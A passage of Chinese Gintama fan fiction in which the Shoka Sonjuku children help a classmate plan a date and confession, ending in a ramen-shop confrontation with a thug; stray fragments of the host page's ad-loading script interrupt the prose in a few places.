律小声犹豫地问道。他没被松阳捡走的时候,曾经见过狼群在群敌环伺的森林里行动的样子,每当夜幕降临的时候,狼群头领会派出一头年轻力壮的公狼在领地的周边放哨,以保护整个族群的安慰。 银时突然炸毛了,眼中闪过一丝恼怒,但还是强装镇定,硬邦邦地说道: “银桑只是好奇会不会有什么神秘的改造人组织出现啦,大人的事情小孩子不要管,乖乖睡你的觉去。” 律一边嘟囔着“明明你也是小孩子”,一边拖着小枕头打着哈欠回去睡觉。 临走前他回头看了一眼银时,银时不知道什么时候上了树,斜斜地靠在树干上,一只腿弯曲,右手臂松弛地搭在膝盖上支撑着下巴。 今晚的月亮很圆,银白的光辉倾洒在银时的头发上,让他整个人好像在发光。 律的思绪一瞬间模糊,他恍恍惚惚地想到有那么几个晚上,他也像银时那样靠在树上,怀里依偎着一只生病的黑猫。 律猛然惊觉:或许在银时眼里,私塾就是他的黑猫。 * 高杉最近都没来踢馆了。 起先银时并不太在意,他又不是只有小少爷一个朋友,需要无时无刻盼着高杉的到来。有同学问他的时候,银时就会撇着嘴很不耐烦地回答“啊啊啊阿银又不是那个臭屁小少爷的仆人,我怎么会知道啦”这种话把人赶走。直到有一天下午桂独自出现在私塾门口,银时才恍然原来并不是高杉失去了一定要打赢他而一次次愈挫愈勇的念头。 “高杉他被他的父亲禁足了,因为那些传闻……” 桂向银时转达高杉的歉意后补充道:“高杉说让你等着他下次一定会打赢你。” 银时抠着鼻屎漫不经心,似乎并不在意高杉如何如何。 啊啊啊……小少爷真是不死心啊,那些传闻,是了,带着白发和红发少年的武士,向孩子们传播危险思想企图颠覆幕府的武士……松阳那 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 家伙才没那么大能耐啦……明明是个连做饭都笨手笨脚的笨蛋老师而已。 桂摆正神色,压低身影,认真地说: “银时,那些高官已经知道你们的存在,差役们今晚就会行动,你们在天黑之前逃走吧……我和高杉那天把高官的儿子都打了一顿……我们以后都不会再来了……” 银时没什么表情地摆摆手。 “别把自己看得太重,不管有没有揍,反正我和松阳他们是无根浮萍,到什么地方都不愁容身之所。” …… * 熟睡的律被窸窸窣窣的动静吵醒,他睡眼惺忪地揉着眼,模模糊糊的视野中看到一个高大的灰色的背影。 “?” 瞌睡虫一下就被吓走了,律打了个激灵,神智在这一刻清醒过来。 “老师这么晚出去干嘛呢……” 疑惑的情绪在心底漫生,他紧锁眉头,实在想不出个所以然来,于是便悄悄地缀在松阳屁股后面。 夜色融融,村庄静悄悄的,声音好像被浓浓的夜幕吸了进去,听不到一点蝉鸣声。黝黑的云遮掩了月亮,天色一瞬间漆黑如墨,律走到半路发现居然跟丢了松阳的踪迹。 “奇怪……” 律眉头紧蹙,他居然闻不到松阳的气味。要知道狼的视觉嗅觉听觉都十分敏锐,它们可以闻道数英里以外的气味来锁定目标。但就在这么近距离下律居然能跟丢,排除自己的嗅觉出了毛病的话,只剩下松阳隐藏的秘密比自己想象中还深这个选项了。 律叹了口气,正准备打道回府睡觉。 “噗通……” “谁?!” 一瞬间,律的身体倏地变得紧绷,感官无限放大,神经高度敏感,牙关下意识紧咬,警戒突然出现的目标。 首先是血,浓郁的铁锈味贴着鼻尖滚进鼻腔,“滴答滴答”鲜血滴落的声音回荡在狭长的巷子里。 律在那一刻嗅到了死亡的气息,不出意外的话,这个男人活不过今晚。 “喂,大叔,你看起来要死了。” 律蹲在灰白色头发的男人面前,眼睛直勾勾地盯着男人身下蜿蜒的血迹。 “嗬嗬嗬……” 男人艰难地喘气,“你是松阳的……弟子……” “大叔你认识老师吗?” 律歪着头,琥珀色的眼睛在昏暗的月光下显现无机质的光芒。 “你死掉后我可以拿走你的钱包吗?老师说不可以没有经过别人同意拿别人的东西,反正大叔你都快死了,死后也稍微为社会做出点贡献吧……” 律舔了舔干燥的唇角,分析地头头是道。 “嗬嗬……”男人艰难地仰着头,右手挣扎着似乎想摸一下律的脸颊,律蹙起眉头,只是偏了一下头,男人沾满鲜血的手在他的衣领上划出一道狰狞的血渍。 “你想要的话……嗬……就拿去吧……” 律古板无波的眼神稍微闪了一下,他点点头,眼尖地掏出男人怀里的钱包,想了一会,还是说了句人话: “谢谢大叔了,祝你有个好梦。” 血泊中的男人兀地笑了,嘴角扯出一个褶皱,脸色白的像雪,笑得也很难看。 殷红色的血把他灰白色的白毛浸透,他目送着律轻快的背影渐行渐远,视野渐渐模糊起来,急遽的失血让他体温慢慢升起寒意,胧的思绪飘忽不定,恍惚间又想起了那张温暖的笑颜。 “老师……” 他低低地呼唤着。 月色一如既往的温柔,却照不亮那方狭小的墙角。 8. 正田同学想要告白,笨蛋们的恋爱头脑战(上) 律满脸懵逼地看着突然把他从教室里拖出来的正田同学。 他记得这个男孩,他和银时第一天进私塾的时候正田很激烈地反对他们。后来银时,律和同学们的关系慢慢变好,而正田像是被统一战线的伙伴背叛了一样既愤怒又不甘心,导致律每次经过都要撇嘴翻白眼,脸上闪过一丝的嫌恶。 不过律和银时从来没有正眼瞧过他,这促使正田更加讨厌嫉妒他们了。 律的内心腾升起阵阵疑惑,在他印象里这位同学从来不会主动找他讲话,就连他周围一米的范围都不愿意靠近,仿佛他是什么脏东西一样。 难道他终于打算挑战我了? 律纳闷地想。 但很快他打消了这番念头,少年拽着他的时候律并没有感到什么恶意,因此律才会半推半就地被正田拽走,好奇他想干什么。 眼前的少年比律稍微高半个头,偏黑的皮肤,脸颊两侧有不明显的雀斑,头发略有干燥粗糙颜色偏黄。此时的正田低垂着脑袋,呼吸很急促,手指捏成拳紧紧拽着衣服下摆两侧,目光却是躲躲闪闪看也不看律的眼睛。 “赤鬼律……同学……” 少年反复做好心理准备,好像下了莫大的决心,终于抬起头鼓起勇气开口: “你……你……能不能教我怎么向女孩子告白啊?” “啊?” “什么鬼啊,搞了半天说这个啊。” “切,无聊。” 律还没说话,身后就哗地一下爆发一堆叽里咕噜的杂音。 “银时,小点声,别让他们听到了。” 桂清透且略显稚嫩的声音清晰地从一颗大树的背后传来。他的声带还没发育成熟,嗓音比起同龄人又显得更加柔和清澈,因此很有辨识度。 “笨蛋,早就被发现了。” 同样跟银时,桂一起胡闹躲在大树背后的高杉翻了个白眼,率先走出来,不疾不徐地迈向他们。银时和桂对视了一眼,也跟在高杉后面慢慢地过来。 四个人围着正田同学,像盯着珍惜动物一样打量他的目光让正田两腿发软,既害怕又愤怒。 “你们……你们怎么可以偷听我们讲话?” “喂喂喂正男同学,分明是你不由分说就把我们的律同学拖出去,我们也只是关心同学而已啦。”银时移开目光,掏着耳屎懒散地回答。 高杉猝不及防扭过头反驳: “明明是你说‘终于看到律那小子被人找茬了’所以才过来看乐子吧。” 桂也很大声地谴责银时,表情严肃,好像看热闹的人没有他一样。 “是啊银时,你怎么可以拿我们的同伴开玩笑呢。” “啊啊啊闭嘴啊,是谁听说有律的乐子可看二话不说跟上来的啊?!” 银时被吵得烦躁,大力揉搓他的头发,生气激烈地辩驳。 “哼。”高杉冷笑,“可不像你缺乏同伴间的关心爱护。” 律深以为然地点头附和:“是啊是啊。” 银时把耳屎弹了弹,阴阳怪气地嘲讽:“我知道你们两个小矮子嫉妒阿银比你们高,怎么,在身高上打不赢我就企图用道德绑架我吗?死心吧,阿银可是就算90%的错在自己身上也会死拽着剩下10%不放的人哦。” 他到底在得意什么啊…… 此时,不约而同的,在场的所有人的内心都飘过这个吐槽。 自从打算袭击差役的银时,桂,高杉被松阳逮到并且以锐不可当的武力值压制了一触即发的战斗,把差役吓得屁滚尿流后,松阳对三人进行了一番“爱的教育”,也可以说是松下私塾的欢迎仪式(指笑眯眯地把人敲进地里)后,律就又多了两个小伙伴。 尽管四人的性格天差地别,银时欠揍又爱逃课,桂正直但脑洞很大脱线得时常让人怀疑他自由过了头,高杉傲气又不服输,在某些方面又单纯如白纸,律喜欢拱火且片刻也坐不住,经常跟着银时翻墙逃课,上树掏鸟蛋下河摸鱼学了个精通。总而言之这四个人单个放在哪儿都令人吃不消,偏偏一窝蜂全凑在了一个学塾,又仿佛有奇妙的引力把四人吸引在了一起。 于是村塾里变经常发生这样的一幕: 银时挑衅高杉,律拱火,于是高杉气势汹汹拔出木刀要砍他们两个,桂在后面无可奈何死命拦着高杉,而律又嘴欠地挖苦桂“像个老妈子”给桂整生气了,一边抢过高杉的刀喊“我天天给你们几个擦屁股我容易吗我”一边着追着拔腿狂奔的银时和律,而高杉没反应过来一脸茫然地缀在桂后面。 总之他们乐此不疲地在村塾上演这样的闹剧,但神奇的是,四人的关系并没有因为拌嘴吵架而势如水火,反而更加紧密了。以至于松阳经常感叹:你们的关系比我想象中还要好啊。 说回正经的。 正田同学先是被银时不要脸的话愣住了,好半晌才回过神,生气道:“什么正男啊,我叫正田!” “好的好的,正男同学。” 银时漫不经心地敷衍。 “银时,叫错名字是很失礼的事。”桂不赞同地摇头,“就好比同学会上大家都热络地交谈感觉只有自己一个人格格不入,这时候发现旁边的同学正一脸尴尬地看着相处融洽的同学们,自己很高兴找到一个同样被友好氛围排挤的同学于是伸出手想叫‘正男同学’却叫成‘正田同学’一样可是会让对方尴尬得无地自容的!” 桂扭头转向正田,目光灼灼:“我说得对吧,正男同学。” 正田突然觉得一阵心累,他简直无力吐槽。 “……都说了是正田……” 高杉冷眼旁观这场闹剧,终于忍不住开口打断歪到没边的话题。 “问题是,你为什么要找律?你觉得他比你有经验?” 银时突然停下掏耳屎的动作,似笑非笑。 “哦呀,你不是厌恶我们两个恶鬼污染了村塾的环境吗?怎么突然低下你那轻飘飘的脑袋恳求呢?” 正田同学的脸色唰地变白,眼神闪烁不定,支支吾吾说不出一句完整的话来。 “我……我……” 一直没有开口的律蓦地打破死寂凝滞的气氛。 “我可以帮忙。”他很认真地说,琥珀色的眸子直直看着正田心虚惶恐的目光,“不过我要你答应,这件事过去后,跟银时道歉。” 正田从束手无措中回神,怔了一会,咬咬牙,低头呐呐说道: “我……我会的……还有,谢谢你愿意帮我……” 银时有些不自在地挠挠有些发烫的脸颊,小声嘟囔:“这么记仇啊……” * “我跟美里同学认识是在一个放学的下午。” “美里同学很漂亮,皮肤很白,眼睛大大的,声音也很好听。她在班里很受欢迎,我根本说不上话。” “但是那一天,美里同学注意到了趴在桌子上哭泣的我。” 正田同学陶醉地回忆起与心上人初见的点点滴滴,周围漂浮着粉红 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 色的恋爱泡泡。 “正田同学,你怎么了,身体不舒服吗?”绑着麻花辫的女孩关切的问道,黑溜溜的眼珠里流露着对同学的关心。 “呜……呜……我……”正田同学哭得一把鼻涕一把泪,五官皱皱巴巴。 “我把阿妈送我的笔弄丢了……呜……那是我最喜欢的东西……呜呜呜。” “好可怜。”美里同学感同身受,眼珠里氤氲一层薄薄的水汽。 “这样吧,我把我的笔给你,它是我五岁时妈咪送给我的生日礼物,我很珍惜它。现在我把这份礼物送给你,你不要再哭了,好吗?” “唔……” 正田同学泪眼模糊,看到美里这么关心自己,生平第一次感受到心动的感觉,顿时更想哭了。 “……” 四人皆有些无语=_= 正田的脸上泛起粉红桃花,捂着脸娇羞:“美里同学人美又心善,我好喜欢好喜欢她……” 他突然又沮丧起来:“但我不敢告白,我长得这么平凡,跟她也是很熟,美里同学肯定不会答应……但是……但是我喜欢她喜欢得不得了,我想告诉她我的心意!”正田激动得有些变调,他猛地向前九十度鞠躬,大声说:“律同学,我知道你跟女孩子们的关系都很好,你一定知道她们喜欢什么吧,请教教我怎么告白!律老师!” “嗯,嗯。” 律被“老师”的称呼哄得心花怒放,又不好意思表现得太过,于是抱着胸故作深沉地点头,稳重地说道: “事情我都了解了……” “喂喂,你说这小子搞不好真有法子。” 银时一时被律严肃的表情唬住,下意识压低声音,撞了撞高杉的胳膊。 高杉未置一词。 “要想讨女孩子的欢心啊……”律猛然睁开眼,目光灼灼,“最重要的是抓住女孩子的胃!” “啊?” 正田同学一脸呆滞。 “我高估他了……” 银时大跌眼镜,内心暗暗腹诽,突然觉得刚刚相信律的自己很蠢。 律装模作样竖起一根手指,轻晃脑袋,讲得头头是道。 “你想啊,不是有句话叫做‘要想抓住一个人的心,就要抓住他的胃’,动物世界里也有送食物给雌性求偶的事情发生吧。” “啊,可是,可是我不知道美里同学喜欢吃什么啊。” 正田犹犹豫豫问道,他竟然真的被律奇怪的逻辑说服了。 律恨铁不成钢:“你傻呀,当然是肉啦,没人不喜欢吃肉吧,野猪的肉、蟒蛇的肉、镰鼬的肉……总有一个喜欢的吧。” “啊……这些是可以弄到的吗?话说镰鼬是什么动物啊,真的存在吗?” 正田被一串肉类名字搞蒙了,突然有些懊悔向律请教了,他居然忘了,律根本没有正常人的脑回路啊! 律神在在地叹了口气,只觉得着孩子笨得没救了。想当初他为了讨他家猫猫的欢心,上树掏蛋一二三,下河叉鱬四五六,时不时还得换个口味猎狸妖牛鬼铁鼠鵺兽七八九才勉勉强强得到抱着猫猫睡觉不会被挠的资格。 哎……好想我的猫啊…… 律惆怅地叹口气,或许在猫猫的眼里,他已经死掉了吧,不知道会不会为他伤心一会呢。 ———————— 好喜欢村塾日常啊,不出意外的话这种剧情会写蛮多的嘿嘿嘿算是我自己的私心吧 _(:зゝ∠)_ 9. 正田同学想要告白,笨蛋们的恋爱头脑战(中) “笨蛋,女孩子怎么会在男孩子面前展现她大胃王的一面啦。”银时抓挠着天然卷吐槽道,“表白就要有夕阳,有樱花,有烟火什么的才适合谈情说爱啦。” 正田猛地抬起头,心里隐隐攀升起一股希冀,期盼的目光灼灼。 桂和高杉两个奇怪和震惊的眼神看得银时略有些不自在,他停下挠头发的动作,没好气吐槽:“干嘛这样看银桑啦,《jump》里不都这样写的嘛。” 二人恍然大悟,又轻轻松了口气,好像重新认识到那个熟悉的银时。 “也是,凭你那糊满糖分的笨蛋白痴天然卷脑袋里也塞不下烟花风月。” 高杉淡定吐槽。 “喂喂喂,ooc了吧矮杉,你的设定可是不会吐槽的呦。” 银时跳脚。 “吐槽是什么?” “……” 正田同学看着又要吵起来的场面,一阵心累。 被晾在一旁的律不服气地鼓起腮帮子,抱着胸气鼓鼓地说:“能吃的时候就要多吃点。可以畅快地吃肉才是健康阳光的表现啊,我倒是很欣赏大口吃饭的女孩子呢。” 桂抛下两个扭打起来的幼驯染,插话道:“是啊是啊,真正的武士就要吃荞麦面,成天吃草莓巴菲这些软绵绵的东西,不仅身体就连心灵都会变得软绵绵的哦。” 律故作深沉,点头附和。 银时一把推开捏着拳头骑在他身上的高杉,一个翻滚麻溜地爬起来。 “爱吃荞麦面的是你吧!假发。还有,什么叫软绵绵的东西,糖分可是维持人体必须的能量哦!” “不是假发,是桂。”桂扭头反驳,“吃太多糖就会变成像银时一样连灵魂都软塌塌的脏兮兮天然卷哦。” “喂!我们天然卷可都是好人!”银时炸毛,恶狠狠地挠着脑袋抓狂:“岂可修啊,你以为银桑不想拥有一头柔顺光滑的直发吗……啊啊啊岂可修啊……连理发店大叔都说我的头发已经扭曲至灵魂了……”银时突然崩溃地蹲下来,悲愤欲绝:“银桑我啊……我啊……这辈子都不能拥有清爽的直发啦!” 律挠了挠乱蓬蓬的红毛,不确定地说。 “啊……我还挺喜欢我的天然卷的,我家的猫猫就很喜欢趴在脑袋上哦。” “猫!” 桂顿时两眼放光。 “是肉球!猫殿!” “是啊是啊,我的猫可漂亮了……” 律一脸嘚瑟开始吹嘘。 “……” 高杉看了看已经石化在原地的正田,忍无可忍:“喂!你们收敛一点,我们是来讨论正事的啊!” 正田同学顿时感激得泪眼汪汪,呜呜呜……高杉……果然你才是那个最正常的人。 咳咳咳,回归正题。 “告白的话一定要先约会做铺垫吧,用感谢她送你笔的事做借口把她约出来,等气氛到位了就出其不意地拿出准备好的礼物表白。” 桂不愧是村塾得意门生,一通分析讲得头头是道。 正田疯狂点头,目光真挚热烈,仿佛信徒面见崇拜已久的神明一样激动万分,恨不得掏出小本本把每个字抄下来奉为圭臬。 “桂大师……您多说点。” 律顿时颓丧地跪趴在地上,拳头无力捶地,含着悲愤道:“大……师?可恶……明明是我先来的。” “咳咳,正男同学,你知道美里同学喜欢什么东西吗?” 正田一时忘记了反驳,皱眉思考了一会,才犹豫小声说:“我记得……好像是一种叫山荷叶的花?” “那是啥?荷叶还是花?” 上课从来不认真听的银时举手发问。 高杉狠狠剜了他一眼,才看向正田解释道:“那是一种雪白色的花,因叶片像小小的荷叶而得名,由于下雨时它的花瓣变得水晶透明,甚至可以看清花瓣上的纹路,所以又被叫做骷髅花,水晶花。” “关于它还有个凄美的爱情故事,它的花语是:纯洁无暇的爱。很适合送给心爱的女孩子呢。”桂笑着补充道。 “桂大师……我还有个提议……” 不甘心的律颤颤巍巍举起手。 “约会途中总会饿吧,再纯洁无暇的女孩子也要吃五谷杂粮啊……” 桂赞同地点点头,“有道理,那把一起去吃荞麦面也纳入约会行程吧!” “所以说……为什么又是荞麦面啊喂!” 银时死鱼眼,抠着鼻屎大声吐槽。 一旁的高杉若有所思,好半晌,思绪才渐渐回笼。他沉吟片刻,道: “不如把花札成手串,头冠怎么样,女孩子应该都喜欢好看的饰品。” “哎呦不愧是大少爷矮杉君,品味如此高雅不凡……”银时阴阳怪气陶侃高杉,惹得一向冷静的少年额头爆起青筋,就要冲过来踹他。 “花,饰品……”正田喃喃自语。 在村塾f4你一句我一句的补充中,整个约会流程井井有条又不过于繁琐,正田内心渐渐涌上自信,那个蛰伏在心里的妄想慢慢崭露头角。 ……或许,真的能行! * 在某一个放学的下午。 正田鼓起勇气直直地朝美里同学的座位走去。 “有什么事吗?正田同学?” 美里弯了弯好看的眸子,声音软软糯糯。 “美……美里同学……”正田努力直视她的眼睛,心跳声大得他听不见自己的声音。 “周……周末能不能……”正田看到美里黑黝黝的目光里紧张得不得了的自己,内心渐渐没了之前的勇气,声调愈发低了下去。 “约……约……” 正田磕磕巴巴说不出完整的那个词。 “好呀,我很期待呦。” 美里打断他的话,笑声如银铃般清脆,叮叮呤呤的一下子冲破正田的心理防线。 好……好可爱…… 直到律拍了拍他的肩膀,正田也没有回过神来,脑海里塞满了美里明媚的笑颜,红着脸呆呆傻傻地痴笑。 “嘿嘿嘿……嘿嘿嘿……她答应了哈哈哈哈……” 路过的白毛双手撑在脑后,观察了一会遗憾摇头: “没救了……这种呆傻的孩子都一个样。” * 桂大师曾说:“告白和求婚一样都是至关重要的存在,不可以因为害怕被拒绝就随随便便地了事,偶尔也要考虑一下女孩子的心情啦魂淡!” 正田同学深信不疑,早早就爬起来精心打扮一番。头发,嗯,很整齐。眼睛,嗯,眼屎掏干净了。衣服,嗯,都熨平整了。 完美,出发! “美里同学,我来找你了!” 正田站在美里家门口,对着二楼的窗户,兴冲冲地喊着心上人的名字。 “唰——” 美里面色慌张地探出头,“等——等一下,我马上好。” 说完就唰——地一下就把窗户关上。 额……正田迟疑片刻,不知道是不是错觉,他刚刚一瞬间看到长长的白色的带子一晃而过。 应该是错觉吧…… 正田很快就把它抛在脑后,因为一盏茶的功夫后,他就看到美里同学打开家门出来。 今天的美里同学一如既往美丽呢。穿着很好看飘飘的白裙子,头发梳成温婉的麻花辫,用粉色的小蝴蝶结系上。 dokidoki 糟糕,心跳好快。 正田捂着胸口呻吟,脸上神情却如痴如醉。 “正田同学,我们出发吧。” 美里脸色有些发白地笑着说。 “美里,你受伤了吗?” 正田关切的目光聚焦在美里的脸上。 “你怎么缠着绷带?”'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 啊…… 美里顺着正田的目光看向胸口,笑容倏地就凝固了。 只见几条绷带松松垮垮地缠在略有弧度的胸前。令人怀疑是什么新型穿搭方式。 (糟糕了——出门太着急搞错了——) 美里心中暗骂一声,面上还是我见犹怜的表情,捂着胸口惊呼。 “不……不是的!”正田慌忙移开目光,语无伦次地辩解,“我不是故意要看的……我以为美里同学受伤了……” 少年羞的耳朵红彤彤,脸上懊恼又委屈的神情不似作假。 美里在心里轻坦一口气,温柔地说:“我没有怪你,我也没有受伤,谢谢你的关心。” “那就好那就好……”正田如蒙大赦,狂跳的心渐渐平复下来。 “对了美里同学,天色还早,我们要不要一起去吃拉面呢?”正田努力回忆起桂大师的教诲,向美里发出邀请。 美里一瞬间木头般地僵住了。 “啊哈哈哈……当然可以啦。” 她抽搐般地扯出个弧度,生硬地回答。 “美里同学你很冷吗?我把外套给你吧。” 两条手臂抱着胸的美里同学尴尬地接过正田的外套,本就不堪重负松松垮垮的绷带凌乱地挂在她的手臂上。 * “吸溜——” “嚼嚼……手工打造的荞麦面……嚼嚼……弹性果然很棒……吸溜……” 桂捧着超大一碗面旁若无人地吃着,简直要把脑袋埋进比他脸盘子还大的碗里喝汤。 “这位小客人,本店是拉面店哦,下次还请不要为难我们的厨师煮荞麦面哦。” 店长面色难看地对着这群还没他腿高的小不点们说到,而角落里蹲着一只戴着高高白帽子的厨师在阴郁地种蘑菇。 “为什么不点拉面……为什么一定要吃荞麦面……我的手艺这么差吗……” 拉面师傅的头顶阴云密布,眼神失去了光彩,仿佛整个世界都失去了颜色,只剩下无尽的失落沮丧。 “大叔——我要一碗猪排饭——” 律看着桂吃那么香,顿时也馋了,哈喇子哧哧地流,胃里传来咕咕咕的警告。 “都说了我们这里是拉面店——” 店长快要维持不住脸上的微笑。果不其然,角落的拉面师傅已经抱膝面壁,整个人都石化了。 “要加芥末——” 律的大脑好像自动过滤店长的话,持续输出中。 店长皮笑肉不笑,拳头捏得咯咯响,艰难地从牙缝里挤出字来:“这位客人……” 银时翘着二郎腿吊儿郎当地坐着,抠了抠鼻屎,又随意把黏糊糊的东西抹在干净的桌上,看得店长目眦欲裂,气得鼻孔冒烟。 “喂喂喂,一个这么大的饭店里连客人想吃的东西都没有的话怎么招待顾客啊,客人是上帝哦,这就是你对待上帝的态度吗魂淡!” 店长额头青筋暴起:“你们到底是来干什么的?!我求求你们,吃完赶紧走好吗,这顿不用你们给钱,麻利地滚好吗!” 银时顿时眉开眼笑,心情很好地说道:“好说好说,这才是对待重要客人的态度嘛。” “吸溜——吸溜——” “老板——我的猪排饭——” 高杉的嘴角抽搐了一般,面色微微扭曲,双拳紧握,用尽了七年来所有的涵养压抑着怒气,勉强平静地提醒几个忘乎所以的同伴。 “别吃了,他们应该快来了。” 话音刚落,拉面店的门帘被掀开一道小缝,伴着令店长热泪盈眶宛如救星的声音,两道身影逆着光踏进这家店。 “老板,来两碗拉面。” —————————— 每次写松下私塾f4的时候就刹不住车哈哈哈哈,感觉脑子里有画面感了。 求评论_(:з」∠)_ 10. 正田同学想要告白,笨蛋们的恋爱头脑战(下) 拉面热气腾腾,散发着诱人的香味,面条弹劲滑嫩不粘牙,黄澄澄的流心蛋宛如细腻的画作,搭配上大块大块的叉烧,撒上几许葱花几片鱼板,浓郁的汤汁饱满,一口滋味无穷,每一秒钟都是对味蕾的极大满足。 正田少年吃得很满足,吸溜吸溜的声音和控制不住幸福的表情让店长热泪盈眶,被几个搅乱的混小子打击得体无完肤的自信又满血复活。 老板搓着手脸上堆满笑殷勤地问道: “两位小客人,拉面还符合胃口吗?” 正田端起碗稀里哗啦地把汤嘬完,意犹未尽地咂咂嘴,说: “好吃的嘞,只是分量有点少,我没有吃饱。” 未等店长发话,对面是美里同学停下斯斯文文吃面条的动作,笑着一手把碗推过去。 “正田同学不介意的话吃我这份吧。” 深褐色的碗里还剩下大半碗面条,犹有余热。 正田咽了咽口水,这……这是……间接接吻?! 脸颊唰地一下就通红了,少年躲躲闪闪不敢看少女的目光,假装很热的样子擦了擦额头,磕磕巴巴道: “这……不好吧……美里同学还没吃多少呢……” 美里轻轻地笑了笑,左手臂很奇怪地压在胸前,“不用了,我已经吃饱了呢。” 说起来美里同学一直没有放下手臂呢? 正田的疑惑一闪而过,但很快他的大脑就被热乎乎的面条和美里同学吃过的拉面这个念头塞满,又虔诚又幸福地小心翼翼嘬着。 “咦~那小子的表情真是有够丢脸的。” 坂田银时扣着鼻子跟同伴们挖苦道。 桂痛心疾首,“这么小年纪就幻想着一些瑟瑟的东西,现在的武士都已经堕落成这样的吗?” “喂为什么这么散发着青春小屁孩羞涩的暗恋气息的画面会被你说得这么猥琐啊,脑子里装满瑟瑟的东西是你吧,假发。” 银时白了一眼桂。 “不是假发,是桂!”桂的神情突然变得格外激动,“银时!我要告诉松阳老师你在枕头底下偷偷藏了好几本OO的书!” 银时炸毛,“告状精!我还没揭发你每天晚上幽会隔壁的寡妇呢!你不会喜欢人妻款吧。” 桂理直气壮地反驳,“我只是觉得五月夫人失去了丈夫很寂寞,每天为她排解悲伤情绪而已。还有……”桂的表情瞬间变得严肃,“我喜欢的不是人妻,是NTR啊——” “……” 不同寻常的,往日总该出言嘲讽并制止脱线的两个小伙伴的高杉却一眼不发,若有所思地看着对面的方向,捏着下巴,思绪如藤蔓一样蔓生,模模糊糊地抓着什么。 “好饿……猪排饭……” 律幽怨地蹲在角落,凑在种蘑菇的拉面师傅耳朵轻轻吹气,语调阴森森,似乎饱含极大怨气。 “猪排饭……” 拉面师傅像寒风中的叶片一样瑟瑟发抖,弱小可怜又无助。 * 回到另一边。 正田吭哧吭哧地吃得正香,美里笑眯眯地看着正田,暧昧掺杂在空气里,二人周围发酵着令人牙酸的青涩气息。 奈何,还没等二人眼神不经意间对视,再害羞移开,余光偷偷瞥对方的青春校园恋爱戏码上演,一个高大的影子打破了这份和谐的气氛。 “喂,小子。” 眼前的男人粗声粗气地开口。他有着如石像般庞大的体型,脖子又粗又短,似乎挂了三层泳圈的肥肉,说话的时候下巴上的肉波澜起伏。脸上肥腻腻的肉把五官都挤得皱成一团,眼睛眯成一条缝。 男人指了指额头上粘着的一块鱼板。 不怀好意地恶狠狠瞪着正田。 “小子,你把鱼板甩到我额头上了,我刚刚就坐你后面,你说怎么办?” 正田害怕地缩了缩脖子,咽了咽口水,生涩道:“对……对不起……” 男人咧着嘴,参差不齐的黄牙一张一合,牙缝里夹着黑黄色的牙垢,一股恶臭顿时扑面而来。 “道歉有用的话,还要警察来干嘛。” 正田同学脸色白了又白,在心爱的女孩子面前,他尽量克制住发抖的身体,尽管他努力表现得镇静,可是那局促不安捏在桌下的拳头和话语间一点点的颤音还是暴露了他的害怕。 “真的很对不起,您……您说怎么办吧。” 男人倏地笑了,仿佛捉住猎物的大尾巴狼,眼里垂涎的目光一闪而过。用看肥羊的目光上下打量着二人。 “小子,看你这穷酸的打扮也不像能泡得起妞的样子,回去叫你爸爸妈妈拿十万日元来,否则……” 男人的眼里闪烁狰狞的目光,猝不及防抓住美里细嫩的手臂,用力一拽。 五根手指又粗又圆,宛如烙铁般狠狠焊死在肉里,美里神情扭曲,痛得惊呼一声,下意识松开拢着绷带的左手,拼命地挣扎着。 “噗通” 绷带轻飘飘地垂落在地,从美里的脚底下咕噜咕噜滚出某种东西,一路翻滚,最终赤裸裸地停在了三人对峙中间的地板上。 美里的脸色唰地煞白一片,嘴角喏喏地颤抖着却说不出一句话,密密的睫毛微颤,“她”的目光下意识看向震惊在原地的正田。 “哈?” 男人气笑了,一脚狠狠踩上中间的东西。 那是两团薄薄的面粉。 电光火石间,正田终于明白为什么美里同学要缠着绷带,为什么一路上死活不肯放开托住胸部的手臂。 原来……原来美里同学……是男孩子? 他的眼里闪过一丝错愕,仿佛被冰封了一般定在原地无法动弹。 男人勃然大怒,“你们几个居然敢耍老子。” 肥如蒲扇的大手裹着呼啸的风就要拍到美里同学的脸上,美里死死闭上眼,身体害怕得颤抖。 没时间思考了,正田脑中的弦啪地一下断掉,身体下意识就扑出去抱着美里就地翻滚,躲开男人的攻击,后背却重重撞上木桌尖锐的角,疼得他冷汗唰一下就流下来。 “正田同学,正田同学……” 美里噙着泪焦急地大喊疼得发抖的正田。 整个店被着突如其来的响声吓着,仿佛按下暂停键一般,店里的气氛一瞬间凝滞,又在下一秒沸腾着惊恐着,顾客们疯了一样拼命往外跑,很快,店里只剩下店长厨师和银时等人。 男人嘴角勾起残忍的笑意,用肥大的舌头舔了舔香肠似的嘴,似乎对接下来的暴行感到愉悦。 正田模模糊糊的目光看到美里焦急不安的脸,泪水簌簌簌地掉在他脸上,而身后,凶神恶煞的男人正捏着拳头走过来。 “美里同学,快跑,不要管我……” 正田挣扎着爬起来,尽管身体害怕得发抖,嗓子又疼又难受,他还是抖抖嗖嗖地把美里护在身后。 仿佛看到什么天大的笑话,男人毫不客气讥笑。 “就凭你一只手都可以捏死的小身板还想学人家英雄救美?早早丢掉无谓的幻想撅着屁股趴下来挨揍还能让你好受点。” 完了…… 正田闭了闭眼,心中一片绝望,他现在什么也不想了,告白啊,暧昧啊,通通随着少年屈辱又恐惧的心情一起冲到马桶里。他心里唯一的念头就是希望美里能跑出去,安安全全地回家。 ……对不起,美里同学……是我连累你了…… “喂喂喂,让心爱之人在面前流泪的男人也太逊了吧。” 银时懒洋洋的声音宛若天籁,正田从未觉得银时的身影像现在这般令人激动。 “银时!” 重伤的正田同学顿时眼泪鼻涕一大把喷涌而出,哇哇哇的乳燕投林般哭诉。 “好啦好啦,别哭了,美里同学还在看着你哦。” 银时无奈地叹气,眼尾却带上一丝不明显的笑意。他一把抓起刀,行云流水地推镗出鞘,红色的瞳孔锐利如鹰,语气漫不经心又欠揍。 “这位大叔呦,一把年纪了找不到对象才见不得清纯的小学生酸酸涩涩的恋爱吗?老是这样下去真的会变成讨人厌的大叔哦,那种散发着大叔臭味的大叔哦。” “大叔味是什么味啊!” 同样持着木刀的高杉扭头吐槽。 扎着马尾的桂和美里一起搀扶起正田,浅褐色的眸子眨着温柔的光。 “正田同学,你做得很好了哦,接下来交给我们吧。” “大师……” 